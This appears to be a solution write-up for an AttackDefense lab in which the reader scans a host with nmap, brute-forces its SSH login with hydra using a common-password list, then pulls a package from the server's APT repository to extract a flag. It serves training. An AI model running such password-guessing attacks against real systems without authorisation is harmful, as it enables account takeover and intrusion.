

[illegible]

Name	APT Repo: Over SSH
URL	https://www.attackdefense.com/challengedetails?cid=1071
Type	Code Repository : APT Repository

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

A flag is hidden in "auditd" package which is hosted on a protected APT repository on the same network.

Objective: Figure out the credentials for APT server, get the package and retrieve the flag!

Solution:

Step 1: Check the IP address of Kali machine

Command: ip addr

```
root@attackdefense:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
15011: eth0@if15012: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:0a:01:01:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.1.1.3/24 brd 10.1.1.255 scope global eth0
        valid_lft forever preferred_lft forever
15014: eth1@if15015: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:c0:65:7c:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 192.101.124.2/24 brd 192.101.124.255 scope global eth1
        valid_lft forever preferred_lft forever
root@attackdefense:~#
```

Step 2: Scan the target machine.

Command: nmap -p- -sV 192.101.124.3

```
root@attackdefense:~# nmap -p- -sV 192.101.124.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-09 19:46 UTC
Nmap scan report for toqp6bkr8shgfgqoq6z8oh5tg.temp-network_a-101-124 (192.101.124.3)
Host is up (0.000027s latency).
Not shown: 65534 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
MAC Address: 02:42:C0:65:7C:03 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 3.13 seconds
root@attackdefense:~#
```

Step 3: Use hydra tool to perform a dictionary attack on the SSH service.

Command: hydra -l admin -P wordlists/100-common-passwords.txt ssh://192.101.124.3

```
root@attackdefense:~# hydra -l admin -P wordlists/100-common-passwords.txt ssh://192.101.124.3
Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-06-09 19:48:42
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 100 login tries (1:1/p:100), ~7 tries per task
[DATA] attacking ssh://192.101.124.3:22/
[22][ssh] host: 192.101.124.3 login: admin password: panther
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 4 final worker threads did not complete until end.
[ERROR] 4 targets did not resolve or could not be connected
[ERROR] 16 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-06-09 19:48:53
root@attackdefense:~#
```

Step 4: Use recovered credentials to check the SSH server content.

Command: ssh admin@192.124.104.3

Username: admin

Password: panther

```
root@attackdefense:~# ssh admin@192.101.124.3
admin@192.101.124.3's password:
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-45-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
admin@victim-1:~$ ls /home/admin/
repo
admin@victim-1:~$
```

Step 5: Fetch and add the PGP key from the repo

Commands:

```
scp admin@192.101.124.3:/home/admin/repo/KEY.gpg .
cat KEY.gpg | apt-key add -
```

```
root@attackdefense:~# scp admin@192.101.124.3:/home/admin/repo/KEY.gpg .
admin@192.101.124.3's password:
KEY.gpg
root@attackdefense:~#
root@attackdefense:~#
root@attackdefense:~# cat KEY.gpg | apt-key add -
OK
root@attackdefense:~#
```

Step 6: Add the repo source to Kali attacker machine.

Command: echo "deb ssh://admin@192.101.124.3:/home/admin/repo/ /" > /etc/apt/sources.list.d/internal.list


```
root@attackdefense:~# echo "deb ssh://admin@192.101.124.3:/home/admin/repo/ /" > /etc/apt/sources.list.d/internal.list
root@attackdefense:~#
```

Step 7: Update the package list

Command: apt update

Enter the password when the system prompts for it.

Password: panther

```
root@attackdefense:~# apt update
0% [Connecting to 192.101.124.3]s password:
Get:1 ssh://192.101.124.3/home/admin/repo InRelease [1956 B]
Get:2 ssh://192.101.124.3/home/admin/repo Packages [9206 B]
Fetched 11.2 kB in 8s (1452 B/s)
Reading package lists... Done
Building dependency tree
Reading state information... Done
3 packages can be upgraded. Run 'apt list --upgradable' to see them.
root@attackdefense:~#
```

Step 8: Download the auditd package. This command only downloads the package and does NOT install it. Also, to make it easy to locate the package in package cache, clear the cache.

Commands:

apt clean

apt install -d auditd

```
root@attackdefense:~# apt clean
root@attackdefense:~#
root@attackdefense:~# apt install -d auditd
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
  libargon2-0 libdns-export1100
Use 'apt autoremove' to remove them.
The following additional packages will be installed:
  libauparse0
```

Step 9: Check the cache directory. Observe that the download package is present there.

Command: `ls -l /var/cache/apt/archives`

```
root@attackdefense:~# ls -l /var/cache/apt/archives/
total 244
-rw-r--r-- 1 root root 193732 Jun  9 09:26 auditd_1%3a2.8.2-1ubuntu1_amd64.deb
-rw-r--r-- 1 root root 48608 Jun  9 07:42 libauparse0_1%3a2.8.2-1ubuntu1_amd64.deb
-rw-r----- 1 root root      0 Jan 10 2018 lock
drwx----- 1 _apt root  4096 Jun 10 09:51 partial
root@attackdefense:~#
```

Step 10: Change to cache directory, extract the archive.

Commands:

`cd /var/cache/apt/archives`

`mkdir extracted`

`dpkg-deb -R auditd_1%3a2.8.2-1ubuntu1_amd64.deb extracted`

```
root@attackdefense:~# cd /var/cache/apt/archives/
root@attackdefense:/var/cache/apt/archives#
root@attackdefense:/var/cache/apt/archives# mkdir extracted
root@attackdefense:/var/cache/apt/archives# dpkg-deb -R auditd_1%3a2.8.2-1ubuntu1_amd64.deb extracted/
```

Step 11: Change to extracted directory and retrieve the flag.


Commands:

`cd extracted`

`find . -name *flag*`

`cat usr/share/flag.txt`

```
root@attackdefense:/var/cache/apt/archives# cd extracted/
root@attackdefense:/var/cache/apt/archives/extracted#
root@attackdefense:/var/cache/apt/archives/extracted# find . -name *flag*
./usr/share/flag.txt
root@attackdefense:/var/cache/apt/archives/extracted#
root@attackdefense:/var/cache/apt/archives/extracted# cat usr/share/flag.txt
d41d8cd98f00b204e9800998ecf8427e
root@attackdefense:/var/cache/apt/archives/extracted#
```



Flag: d41d8cd98f00b204e9800998ecf8427e

References:

1. apt-get (<https://linux.die.net/man/8/apt-get>)
2. APT package manager ([https://en.wikipedia.org/wiki/APT_\(Package_Manager\)](https://en.wikipedia.org/wiki/APT_(Package_Manager)))